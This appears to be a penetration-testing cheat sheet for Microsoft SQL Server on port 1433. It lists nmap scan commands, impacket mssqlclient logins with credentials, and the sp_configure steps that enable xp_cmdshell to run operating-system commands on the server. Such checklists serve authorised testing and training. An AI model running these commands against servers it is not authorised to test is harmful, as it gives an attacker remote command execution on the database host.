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MSSQL

Port 1433Database

Microsoft SQL Server — enumerate, then xp_cmdshell / impersonation / linked servers for RCE.

// methodology checklist

Step-by-step commands

1

Service scan

howlsec@kali·shell
nmap -p1433 -sV -sC $t
howlsec@kali·shell
nmap -p1433 --script ms-sql-info,ms-sql-ntlm-info $t
2

Connect & enumerate

howlsec@kali·shell
impacket-mssqlclient <domain>/<user>:<pass>@$t -windows-auth
howlsec@kali·shell
mssqlclient.py <user>:<pass>@$t
3

RCE via xp_cmdshell

Enable xp_cmdshell if disabled, then run OS commands.

howlsec@kali·shell
SQL> EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
howlsec@kali·shell
SQL> EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
howlsec@kali·shell
SQL> EXEC xp_cmdshell 'whoami';